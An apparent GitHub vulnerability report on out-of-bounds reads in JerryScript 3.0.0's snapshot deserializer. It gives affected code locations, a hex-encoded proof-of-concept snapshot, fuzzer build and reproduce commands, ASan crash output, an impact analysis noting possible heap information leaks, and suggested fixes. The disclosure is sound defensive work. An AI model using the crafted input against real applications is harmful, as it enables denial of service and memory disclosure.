[Bug]Snapshot deserialization lacks bounds checks on untrusted offset/length fields -> out-of-bounds read (SEGV / ASan use-after-poison / DoS) (CWE-125)

Author: 1820893135-pixelCreated Aug 11, 2026Updated Sep 11, 2026

Summary

jerry_exec_snapshot deserializes an external, untrusted buffer directly as a snapshot (header + function bytecode + literal table). It only validates func_index < number_of_funcs and lit_table_offset <= snapshot_size, but never validates that:

  • func_offsets[func_index] points inside the valid bytecode region, or
  • the bytecode's internal size/refs fields, or the literal-table offset/length fields, are in-bounds.

The code then constructs an ecma_compiled_code_t * from (snapshot_data_p + func_offset) and dereferences it, or performs memcpy/memcmp/loop reads over untrusted lengths in snapshot_load_compiled_code / ecma_snapshot_get_literal / lit_utf8_string_length / lit_is_utf8_string_magic. This reads beyond the input buffer: ASan marks bytes past the real input as poisoned (use-after-poison), and huge/illegal offsets directly cause SEGV.

  • Affected: JerryScript 3.0.0 (jerry-core/api/jerry-snapshot.c:915, snapshot_load_compiled_code:664/556/715, ecma/base/ecma-literal-storage.c:668/689/694, lit/lit-strings.c:284, lit/lit-magic-strings.c:211)
  • Severity: High
  • CWE: CWE-125 (Out-of-bounds Read)

Detail

The deserializer trusts attacker-controlled offset/length fields in the snapshot header and bytecode. A malformed snapshot (from ~36 bytes up to a few hundred bytes) drives:

  • jerry_exec_snapshot(snapshot_data_p + func_offset) dereference (jerry-snapshot.c:915) → SEGV / ASan use-after-poison
  • snapshot_load_compiled_codememcpy with an unchecked size field (jerry-snapshot.c:664) → OOB read
  • ecma_snapshot_get_literal → literal offset/length not validated (ecma-literal-storage.c:668/689/694) → OOB read / giant memcpy (READ of size 65536)

POC

Rebuild the trigger (a SNAP-prefixed malformed snapshot) and run:

bash
# 0) rebuild POC
printf '534e41504a52525946000000000000004000000001000000f0ffffff0500010000300100260000000102020207000000470151013500df015600000000000000870000000100610000' | xxd -r -p > poc.bin

# 1) build (ASan+UBSan, snapshot exec enabled)
cmake -S . -B build -DENABLE_LTO=OFF -DJERRY_SNAPSHOT_EXEC=ON -DJERRY_SNAPSHOT_SAVE=ON \
      -DCMAKE_BUILD_TYPE=RelWithDebInfo -DCMAKE_C_COMPILER=clang \
      -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -O1 -g"
cmake --build build --target jerry-core jerry-port -j$(nproc)
clang -fsanitize=fuzzer,address,undefined -fno-sanitize-recover=all -O1 -g -DJERRY_SNAPSHOT_EXEC=1 \
      -I jerry-core/include harness.c build/lib/libjerry-core.a build/lib/libjerry-port.a -lm -o jerry_fuzzer

# 2) reproduce
./jerry_fuzzer poc.bin

Trigger result (ASan)

==3332255==ERROR: AddressSanitizer: SEGV on unknown address 0x7b3c4d2c47f9 (pc ... T0)
The signal is caused by a READ memory access.
    #0 0x55d24492ea0a in jerry_exec_snapshot jerry-snapshot.c:915:32
    #1 0x55d24492ac56 in fuzz_snapshot harness.c:138:25
    #2 0x55d24492ac56 in LLVMFuzzerTestOneInput harness.c:185:5

Other variants in the same root cause: ASan use-after-poison in snapshot_load_compiled_code (memcpy of size 65536) and ecma_snapshot_get_literal (READ of size 1/2/8).

  • Replay exit code: 134 (ASan abort)
  • Deterministic: yes — 16+ distinct crash inputs across the campaign, all in the snapshot deserialization path.
Image

Impact

Any application that passes an untrusted byte string to jerry_exec_snapshot (loading user-uploaded / network-downloaded .jsn snapshots, or precompiled bytecode on embedded devices) can be crashed deterministically by a tens-of-bytes malformed snapshot (DoS). The defect is an OOB read (not write), so direct arbitrary-code-execution is not realistic; however, the OOB read can pull adjacent/uninitialized heap memory into JS string/number values. If the app subsequently prints/logs/serializes those values, heap information disclosure is possible, which can serve as a leak primitive for further exploitation.

Suggested fix

  1. Validate func_offsets[func_index] against the actual bytecode region bounds before constructing the ecma_compiled_code_t pointer (jerry-snapshot.c:915).
  2. Bound-check every internal size/length field in snapshot_load_compiled_code and the literal table before memcpy/memcmp/loop reads (ecma-literal-storage.c, lit-strings.c, lit-magic-strings.c).
  3. Treat the snapshot as untrusted input: enforce that all offsets/lengths are >= header_size and <= snapshot_size, and reject malformed layouts (e.g., number of funcs vs. available bytes).

Source: jerryscript-project/jerryscript